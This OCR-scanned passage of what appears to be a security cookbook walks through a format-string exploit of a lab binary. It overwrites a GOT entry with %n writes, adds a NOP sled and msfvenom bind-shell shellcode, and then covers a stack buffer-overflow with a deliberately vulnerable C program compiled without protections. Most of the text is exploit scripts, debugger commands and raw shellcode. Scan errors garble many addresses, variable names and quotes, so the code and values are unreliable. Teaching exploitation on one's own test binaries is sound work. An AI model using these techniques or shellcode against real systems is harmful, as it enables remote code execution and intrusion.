values to locations in the memory where the stack values points to and finally end up in
segmentation fault. So, from the results of the tests it is pretty clear that we can read from
the RAM and also we can write to RAM.



7. Now we can change the input and try to control the parameter:

./fmt AAAA.%X.%X.%X . %X
./fmt BBBB.%X.%X.%X.%X

The characters aaaa and ssss that we passed appear as the fourth parameter on the stack in
hex values, as 41414141 for aaaa and 42424242 for sess. From this it's clear that we can now
control the fourth parameter on the stack.

8. As we are planning to control the code execution, we need to change a function's address.
So let's try to find a RAM location to write. For that we can use pwndbg to view the assembly
code:

gdb ./fmt
disassemble main

This will print the assembly code. From this we can identify that the application calls
printf@plt ON 59 and putchar@plt On 72. SO we can set the break point at so for debugging:

9. As we know, global offset tables hold the current addresses of library functions. So we can
use objdump to view the entries in the GOT:

| objdump -R ./fmt



10.

11.

12.

From this we will get the location for the putchar in the dynamic relocation record. Here it
is, ese49748, and it may be different for you. So make sure to update your scripts
accordingly.

Now we can try to write to the putchar PLT entry. We can make use of pwndbg for this. Open
the app in pwndbg:

gdb ./fmt

Set the first breakpoint before the printr and after the printf:

pwndbg> break * main + 59
pwndbg> break * main + 64

Then run the app with our payload to write to the address location of putchar that we got
from objdump. In My case it is esoa974s. We have to convert the address to Little Endian format
to work with the Intel architecture:

pwndbg> run $'\x48\x97\x04\x08%x%x%x%n'

This will run up to our first breakpoint, which is before the printr:



13. Then we can examine the value at the memory location for its current value:

| pwndbg> x/4x 0x08049748

14. Then forward to the next break point by typing c. Then check the memory location again:

pwndbg> ¢
pwndbg> x/4x 0x08049748

From this we know that the value changed to oxeeeese1s. When printf executes with a
format sting value %n as the parameter, it prints out a 32-bit length value equal to the bytes
printed so far. Here the program has printed 18 bytes so far.



15. Now we can write our exploit code to craft the payload. For that, create an expioit.py file and
open it in your editor.
16. Then add the following code in it:

#!/usr/bin/python

wl = '"\x48\x97\x04\x08JUNK'
w2 = '"\x49\x97\x04\x08JUNK'
w3 = '"\x4a\x97\x04\x08JUNK'
w4 = '"\x4b\x97\x04\x08JUNK'
form = '%xX%X%X%N%X%N%X%N%X%N "

print wli + w2 + w3 + w4 + form

Here, we create a payload for our application. This will be submitted as the input to write
to the memory location. So the best way to generate a 32-bit word is to perform four
writes, with each targeting the one byte, and combining them.

17. Make sure the exploit code has execute permission:

| chmod +x exploit.py

18. Now we can run the application in debugger with this payload. This is exactly what we did
before:

gdb ./fmt

pwndbg> break * main + 59
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)

19. Examine the memory location:

pwndbg> x/4x 0x08049748
pwndbg> ¢
pwndbg> x/4x 0x08049748

Then the value changed to exacaa3czs

20. Let's try changing one byte in the payload then. For that, change the third format string
parameter, %x to %16x. This will add 16 leading zeros to it and make it 16 bytes long:

#!/usr/bin/python

wl = '"\x48\x97\x04\x08JUNK'
w2 = '"\Xx49\x97\x04\x08JUNK'
w3 = '"\x4a\x97\x04\x08JUNK'
w4 = '"\x4b\x97\x04\x08JUNK'
form = '%X%X%16X%N%X%N%X%N%X%N '

print wl + w2 + w3 + w4 + form

21. Then run the app in debug mode and examine the value in the memory:

gdb ./fmt

pwndbg> break * main + 59
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
pwndbg> c



pwndbg> x/4x 0x08049748

The value changed to exse4ess from its previous value of oxacassc. So all bytes increased by
16. Now it is 16 bytes long.

22. Now we can try to write a specific address to that address location. Here we can try to write
ddccbbaa. For that, update our exp1oit.py as follows:

#!/usr/bin/python

wl = '"\x48\x97\x04\x08JUNK'

w2 = '"\Xx49\x97\x04\x08JUNK'

w3 = '"\x4a\x97\x04\x08JUNK'

w4 = '"\x4b\x97\x04\x08JUNK'

bl = Oxaa

b2 = Oxbb

b3 = Oxcc

b4 = Oxdd

nl = 256 + bl - Ox2e

n2 = 256*2 + b2 - n1 - Ox2e

n3 = 256*3 + b3 - n1 - n2 - Ox2e

n4 = 256*4 + b4 - n1 - n2 - n3 - Ox2e

form = '"%x%x%' + str(nl) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
print wl + w2 + w3 + w4 + form

With this, we have added enough leading zeros before each %n to match the total number
of printed characters and match the desired value we plan to write. Also, the total number
of bytes increases with each write; we have to add 256 to each value to make the last
bytes clean.

23. Now execute the application with our crafted payload and examine the memory location:

gdb ./fmt

pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748

Now the putchar@got.pit pointer has the value exddccbbaa, which is the value we planned to
write in it.

24. Now we can create a pattern and insert it in the exploit. This will help to identify the
location we can insert our shell code in. So, update our exploit with the pattern. This will
update the script as follows:



#!/usr/bin/python

wl = '"\x48\x97\x04\x08JUNK'

w2 = '"\x49\x97\x04\x08JUNK'

w3 = '"\x4a\x97\x04\x08JUNK"

w4 = '"\x4b\x97\x04\x08JUNK"

bl = Oxaa

b2 = Oxbb

b3 = Oxcc

b4 = oOxdd

nl = 256 + bl - Ox2e

n2 = 256*2 + b2 - n1 - Ox2e

n3 = 256*3 + b3 - n1 - n2 - Ox2e

n4 = 256*4 + b4 - n1 - n2 - n3 - Ox2e

form = '"%x%x%' + str(nl) + 'x%n%' + str(n2)

form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
nopsled = '\x90' * 100

pattern = '\xcc' * 250

print wli + w2 + w3 + w4 + form + nopsled + pattern

25. Now run the application in debugger with the payload, and examine the 200 bytes after the
ESP register:

gdb ./fmt

pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
pwndbg> x/200x $esp

Now we can see the NOP sled on the stack. And we can select an address in the middle of
the NOP sled for adding shell code. Here we can select exbffffiie.

26. Now we have to replace the address, exddccbbaa, with the real address we selected from the
NOP sled. For that, update the exploit.py with correct bytes:

b1 = ox10
b2 = oxf1
b3 = oxff
b4 = oxbf

27. Now run the application with debugger and examine the memory location:

gdb ./fmt

pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748



Now we can generate a shell code with Metasploit:

| msfvenom -p linux/x86/shell_bind_tcp PrependFork=true -f python

Now update the exploit code with the shell code:

wl
w2
w3

form
form

buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf

We have added a postfix to make the total number of injected characters constant.

#!/usr/bin/python

'\Xx48\x97\x04\x08JUNK"
'"\Xx49\x97\x04\x08JUNK"
"\x4a\x97\x04\x08JUNK"'
'"\Xx4b\x97\x04\x08JUNK"

0x10

oxf1

oxff

Oxbf

256 + bl - Ox2e

256*2 + b2 - n1 - Ox2e
256*3 + b3 - n1 - n2 - Ox2e
256*4 + b4 - n1 - n2 - n3 - Ox2e

'%x%x%' + str(nl) + 'x%n%' + str(n2)

+= 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'

+=
+=
+=
+=
+=
+=
+=
+=
+=
+=

nopsled = '\x90' * 95

nn

"\xbd\x55\xe7\x12\xd0\xd9\xc2\xd9\x74\x24\xf4\x5e\x33"
"\xc9\xb1\x18\x31\x6e\x13\x03\x6e\x13\x83\xee\xa9\x05"
"\xe7\xba\x53\x92\xc5\xbb\xd6\xe2\xa2\xbd\xe9\x22\xfa"
"\xc3\xc4\x23\xca\x18\x21\xcO\x7e\xdc\x9e\x6d\x83\x6b"
"\xc1\xc2\xe5\xa6\x81\x78\xb4\x6a\xe9\x7c\x48\x9a\xb5"
"\xea\x58\xcd\x15\x62\xb9\x87\xf3\x2c\xf7\xd8\x72\x8d"
"\x03\x6a\x80\xbe\x6a\x41\x08\xfd\xc2\x3f\xc5\x82\xbo"
"\x99\xbf\xbd\xee\xd4\xbf\x8b\x77\x1f\xd7\x24\xa7\xac"
"\x4f\x53\x98\x30\xe6\xcd\x6f\x57\xa8\x42\xf9\x79\xf8"
"\x6e\x34\xf9"

postfix = 'X' *(250 - len(buf))
print (w1l + w2 + w3 + w4 + form + nopsled + buf + postfix)

28. Now run the application with the payload:

| pwndbg> run $(./exp2.py)

29. Now try connecting with nc as the shell code and open port 4444, and try running the



following commands:

We can see these details in the debugger as follows:




Buffer overflow

Buffer overflow can cause the program to crash or leak private information. A buffer in case of a
running program, can be considered as a section in a computer's main memory with specific
boundaries, so basically accessing any buffer outside this allocated region of memory space.

As the variables are stored together in stack/heap, accessing anything outside this boundary may
cause read/write of some bytes of some other variables. But with a better understanding we can
execute some attacks.



How to do it...

Follow the steps to generate an exploit code for buffer overflow attacks in Linux environment:

1. We have to create a vulnerable application for the test. Create a vof.c file and add the
following code:

#include <stdio.h>
void secretFunction()

printf("Congratulations!\n");
printf("You have entered in the secret function!\n");

void echo()

{

char buffer[20];

printf("Enter some text:\n");
scanf("%s", buffer);

printf("You entered: %s\n", buffer);

}

int main()

echo();
return 0;

}

2. Compile it as follows:

gcc bof.c -w -g -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o
bof

3. We can run the following application test:

| ./bof

4. We can run objdumb:

| objdump -d bof

From that we can get the memory location of the secret function:



Here it is, esess4sb. And 28 bytes are reserved for local variables of the echo function:

Now we can design the payload--as we know, 28 bytes are reserved for the buffer, and it's
next to the EBP pointer. So, the next four bytes will store EIP. Now we can set the first
28+ 4 =32 bytes with any random characters, and then the next four bytes will be the
address to secretfunction().

5. Now the payload will be as follows:

| print ("a"*32 + "\x8b\x84\x04\x08")
Save this to an exploit_bof.py file and load it as a payload for the application

6. This will crash the application and provide access to the secretfunction().
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